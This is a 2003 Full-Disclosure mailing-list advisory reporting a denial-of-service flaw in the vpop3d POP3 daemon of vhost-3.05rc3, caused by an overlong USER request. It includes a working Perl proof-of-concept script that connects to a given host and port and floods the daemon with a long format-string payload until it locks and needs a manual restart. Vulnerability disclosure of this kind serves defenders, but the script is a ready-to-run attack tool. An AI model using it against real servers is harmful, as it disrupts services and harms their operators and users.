[Full-Disclosure] Vhost-3.05rc3 DOS..

From: Daniel (deadbeatat_private)
Date: Tue Aug 19 2003 - 04:15:02 PDT

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    	Topic:			vhost-3.05r3 DOS
    
    	Product:		vhost-3.05r3
    
    	Note:			for a laugh grep vpop3d.cc for
    				strcpy or sprintf..loool
    
    	Vendor Notification:	Vendor Notified
    
    
    Background:
    
    	vhost - one-step solution for all virtual hosting needs
    	Copyright(c) Chaogic Systems, LLC. http://chaogic.com
    	Author: Jake Fan <jakeat_private>
    	allows the setting up of vhosts for mail and web.
    
    
    Problem Description:
    
    	Seems that an attacker (remote or local) can cause a DOS on the
    	vpop3d server, using a lengthy request..
    	This seems to cause the pop3 server to timeout then daemon
    	drops...Note this was tested locally, with the binary..
    	Seems that also if we attach gdb to the running process that also
    	locks vpop3d.. ;)
    
    	Once we've hit it with our huge USER string it gives this mesg
    	after 5mins or so..
    	"-ERR POP3 Server Abnormal Shutdown: Timeout waiting for command
    	from client"
    
    Impact:
    
    	DOS on the vpop3d daemon, means a manual restart of the daemon.
    
    
    Patch:
    
    	Far too much to patch in this code!!!
    
    
    Exploit:
    
    Nothing special..
    ----------------------------------------------------------
    #!/usr/bin/perl
    
    #vpop3d Denial Of Service..
    #Proof of Concept script..
    #Deadbeat, uk2sec..
    #e: deadbeatat_private
    #e: danielsat_private
    
    use IO::Socket;
    $host = $ARGV[0];
    $port = $ARGV[1];
    if(!$ARGV[1]){
            die "usage: perl $0 <host> <port>\n";
    }
    $dos = "%s%s"x5000;
    $req = "USER $dos";
    $sox = IO::Socket::INET->new(
            Proto=>"tcp",
            PeerPort=>$port,
            PeerAddr=>$host
    )or die "can't connect to $host : $port\n";
    sleep 2;
    print $sox $dos;
    sleep 1;
    print "done..vpop3d should lock now :)\n";
    
    ------------------------------EOF-------------------------
    
    
    Regards,
    Deadbeat, uk2sec..
    
    -------------------------------------
    Deadbeat,
    e:	deadbeatat_private
    e:	danielsat_private
    
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